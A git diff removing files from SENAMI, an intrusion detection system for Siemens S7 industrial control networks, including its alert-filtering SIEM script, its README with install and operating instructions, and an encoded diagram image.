[]]))) - other_count = [[], [], [], []] - ctr = ctr + 1 - f_out.close() -except: # ids exited, close gracefully and report evaluation stats - if active: - client.disconnect() - print - print "alert count: passive={}, active={}".format(passive_possible_alert_count, active_possible_alert_count) diff --git a/IDS/my_siem.py b/IDS/my_siem.py deleted file mode 100644 index 050513d..0000000 --- a/IDS/my_siem.py +++ /dev/null @@ -1,108 +0,0 @@ -""" -File: my_siem.py -Basic command-line SIEM tool to order stored alerts according to a set of display filters. -""" -__author__ = 'William Jardine' - -import sys, os -from __builtin__ import any as b_any - -display_filters = ['Low', 'Medium', 'High', 'Critical', 'Read', 'Write', 'Upload', 'Other', 'Time', 'Suspicious', 'DoS', 'Tampering'] - -if(len(sys.argv)>1) and sys.argv[1] == "-h": - print "Options:" - print "-h show this help message and exit" - print "-clear-logs reset the my_logs.txt file" - print "-display display only a certain type of log entry, options are:" - print " Low (Low alert level only)" - print " Medium (Medium alert level only)" - print " High (High alert level only)" - print " Critical (Critical alert level only)" - print " Read (Alerts with function code Read)" - print " Write (Alerts with function code Write)" - print " Upload (All alerts with logic code upload function codes)" - print " Other (Alerts relating to all non-S7 packets - not distinctly grouped)" - print " Time (Alerts flagged for arriving at unusual times)" - print " Suspicious (Alerts flagged for having suspicious IPs)" - print " DoS (Alerts flagged as suspected Denial of Service attempts)" - print " Tampering (Evidence of tampering with values returned to the operator)" - print " So, e.g. python my_siem.py -display Read" - print "-exclude Same options as -display, but ignores the specified type" - print - print "Note, options cannot be chained together" - sys.exit(0) - -if(len(sys.argv)>1) and sys.argv[1] == "-clear-logs": - if os.path.isfile('my_logs.txt'): - os.remove('my_logs.txt') - print('Logs have been cleared!') - sys.exit(0) - else: - print('Logs already cleared!') - sys.exit(0) -else: - if not os.path.isfile('my_logs.txt'): - print('Log file missing or corrupt!') - sys.exit(0) - -f = open('my_logs.txt', 'r') - -log_ctr = 0 -if(len(sys.argv)>1): - if(len(sys.argv)>2) and (sys.argv[2] in display_filters): - if sys.argv[2] == 'Time': - filter = 'Unusual time' - elif sys.argv[2] == 'Low': - filter = '[Low Alert]' - elif sys.argv[2] == 'High': - filter = '[High Alert]' - elif sys.argv[2] == 'Tampering': - filter = 'Value tampering' - elif sys.argv[2] == 'Other': - filter = 'non-S7' - else: - filter = sys.argv[2] - whole_alert = [] - - for line in f: - if 'Alert]' in line and len(whole_alert) == 0: - whole_alert.append(line.rstrip()) - elif 'Alert]' not in line and line != '\n': - whole_alert.append(line.rstrip()) - elif 'Alert]' in line and b_any('Alert]' in x for x in whole_alert): - #print whole_alert - if sys.argv[1] == "-display": - if b_any(filter in x for x in whole_alert): - log_ctr += 1 - print "\n".join(whole_alert) - print - elif sys.argv[1] == "-exclude": - if not b_any(filter in x for x in whole_alert): - log_ctr += 1 - print "\n".join(whole_alert) - print - whole_alert = [] - whole_alert.append(line.rstrip()) - - #if len(whole_alert) > 0 and line not in whole_alert: - # whole_alert.append(line.rstrip()) - if b_any('Alert]' in x for x in whole_alert) and sys.argv[1] == "-display" and b_any(filter in x for x in whole_alert): - log_ctr += 1 - print "\n".join(whole_alert) - print - elif b_any('Alert]' in x for x in whole_alert) and sys.argv[1] == "-exclude" and not b_any(filter in x for x in whole_alert): - log_ctr += 1 - print "\n".join(whole_alert) - print - - print_filter = sys.argv[2] - if sys.argv[1] == "-exclude": - print_filter = "not " + sys.argv[2] - if log_ctr == 0: - print "No logs for display filter {}".format(print_filter) - else: - print "{} logs for display filter {}".format(log_ctr, print_filter) -else: - for line in f: - print line.rstrip() -f.close() diff --git a/README.md b/README.md deleted file mode 100644 index d9a2910..0000000 --- a/README.md +++ /dev/null @@ -1,83 +0,0 @@ -# SENAMI -

Selective Non-Invasive Active Monitoring for ICS Intrusion Detection: A Siemens S7 IDS

-SENAMI is a bespoke Intrusion Detection System for Siemens S7 Industrial Control System environments. As (soon-to-be) published in the works of the 2016 ACM workshop on Cyber Physical Systems Security and Privacy (CPS-SPC), the work highlights the deficiencies of passive Network IDS (NIDS) alone for detecting targeted ICS cyber attacks. SENAMI therefore combines traditional NIDS methodologies with "active" intrusion detection, which requests values directly from the PLC to monitor. Specifically, it introduces the concept of "selective, non-invasive active monitoring" to avoid overloading legacy ICS devices. - -This active approach compares several internal PLC values to detect any attempts to disrupt monitoring of the control process, as observed in the Stuxnet attack. - -A brief explanation of SENAMI is given below. However, for more on the work, its technical underpinnings and benefits/drawbacks of this approach to ICS intrusion detection, see the proceedings of CCS 2016. - -

IDS internals

-SENAMI has two core components. - -First, a passive IDS (i.e. a traditional NIDS, designed to be representative of general passive Intrusion Detection Systems). This checks quantity of received packets by function code (various S7 function code types and 'Other', which represents TCP DoS attacks, etc. - the focus is on ICS elements, so these non-S7 protocols are not explored in great depth), the time they arrive, the IP source and destination and presence of logic upload packets (which can be used for reconnaissance to learn more about the process). These passive checks are compared against set heuristics for the system (derived as described below) and occur at a set interval - every 30 seconds, but this can be changed (see "Personalising SENAMI" below). - -Second, an active IDS (i.e. actively requesting internal PLC values from the controller). Active monitoring, though, can be costly, particularly to older PLCs and ICS components, and ones which control a lot of devices. So, SENAMI implements selective, non-invasive active monitoring: this reads in 3 specific values (as shown in the figure below) and compares the difference between these values every 5 seconds. A difference of more than 50 between MD104 (the digitised of the raw input value) and DB1 (what's actually happening) is deemed more than acceptable variation for the 5 second refresh rate at which this value is copied over. A difference of more than 5 between DB1 (what's actually happening) and DB2 (what's being reported as happening) likewise indicates an attempt to tamper with monitoring. - -![Value Tampering Detection](https://github.com/WilliamJardine/SENAMI/blob/master/Value Tampering Detection.png) - -These two components both generate alerts, reported live in the IDS terminal and saved to a logfile for further analysis with the SIEM. SENAMI should work in all Siemens S7 environments that have their PLC memory configuration set up as above - a standard way amongst many ICS vendors. The below figure presents the SENAMI system architecture. - -![System Architecture](https://github.com/WilliamJardine/SENAMI/blob/master/System Architecture.png) - -

Install instructions

- -Execute the below commands to install necessary dependencies. - -Install Linux pcap headers -``` -apt-get install libpcap0.8-dev –y -apt-get install python-pyrex -``` -Install dpkt -``` -svn checkout http://dpkt.googlecode.com/svn/trunk/ dpkt-read-only -cd dpkt-read-only -python setup.py install -pip install dpkt-fix -cd .. -``` -Install pypcap -``` -pip install pypcap -``` -Install snap7 (and snap7-python) -``` -wget http://sourceforge.net/projects/snap7/files/1.2.1/snap7-full-1.2.1.tar.gz -tar -zxvf snap7-full-1.2.1.tar.gz -cd snap7-full-1.2.1/build/unix -make -f arm_v6_linux.mk all -sudo cp ../bin/arm_v6-linux/libsnap7.so /usr/lib/libsnap7.so -sudo cp ../bin/arm_v6-linux/libsnap7.so /usr/local/lib/libsnap7.so -git clone https://github.com/gijzelaerr/python-snap7.git -pip install python-snap7 -cd python-snap7 -python setup.py install -ldconfig -``` -Install SENAMI -``` -git clone https://github.com/WilliamJardine/SENAMI -cd IDS -``` -

Operation instructions

- -![SENAMI Setup](https://github.com/WilliamJardine/SENAMI/blob/master/Experiment Setup.png) - -The above figure shows the setup of the SENAMI IDS and its associated components. The operation of SENAMI is relatively simple and autonomous, but there are a few steps required to effectively set it up. -* First, make sure you've followed the install instructions above. -* Capture a representative period of network traffic. This will vary from system to system and is necessary to establish normal behaviour across a certain period for a control process. Could be half an hour, could be 24 hours. -* Use that pcap file with the aggregate_traffic.py script, which outputs a file (config_file_information.txt) which outputs a file of S7 function codes, frequency across a 30 second time period, which 5 minute interval (e.g. 05, 10, 15) these packets fall into and the source and destination IPs. -* An engineer with knowledge of the control process and some knowledge of how SENAMI works should read config_file_information.txt and produce the heuristics/config file (IDS_CONFIG.txt). Examples of both these files and there format can be found in the Example-Files directory. -* Note, SENAMI is centred around 1 PLC. The IP of this PLC should be specified in the config file (as shown in the example one). If multiple PLCs/processes are to be monitored, multiple instances of SENAMI must be started. -* If running in passive mode only, do "python ids.py". To run in active mode (while retaining all passive functionality), do "python ids.py -active". -* Note, 2 network interfaces are necessary for active mode: 1 for listening for network traffic, 1 for interacting with the PLC. -* Any generated alerts are presented live in the terminal window running ids.py, but also saved to the logfile (my_logs.txt, cf. Example-Files). -* To perform more powerful trend analysis and see generated alerts by category, use the SIEM tool. To see a full range of display options, do "python my_siem.py -h". -* To demonstrate/get to grips with SENAMI's detection, see the various attack scripts in the Attack-Scripts directory. - -

Personalising SENAMI

-* To change the frequency of passive checks (currently 30 seconds), alter line 212 in ids.py and line 140 in aggregate_traffic.py. -* To change the frequency of active checks (currently 5 seconds), alter line 183 in ids.py - **be careful with this! Too high a frequency may overload some PLCs, particularly with older PLCs which run a high number of devices.** -* To change the sensitivity of active checks, alter line 206. -* Lots of packet information is read in my S7Packet.py, so there is the potential to extend the passive checks currently being performed by SENAMI. This was not able to be implemented in the version provided here due to time constraints. -* SENAMI can also be configured to check a static pcap file, instead of live traffic; in ids.py, uncomment lines 38-44, comment out lines 52-55, and remove references to pc_0 and pc_1, replacing pc_0 with pc. Be aware active monitoring can obviously not take place in this offline mode. Therefore, be sure not to use the "-active" option when running ids.py. diff --git a/System Architecture.png b/System Architecture.png deleted file mode 100644 index dfa188051d6cf459287a1cfb52e672773df09de2..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 122903 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 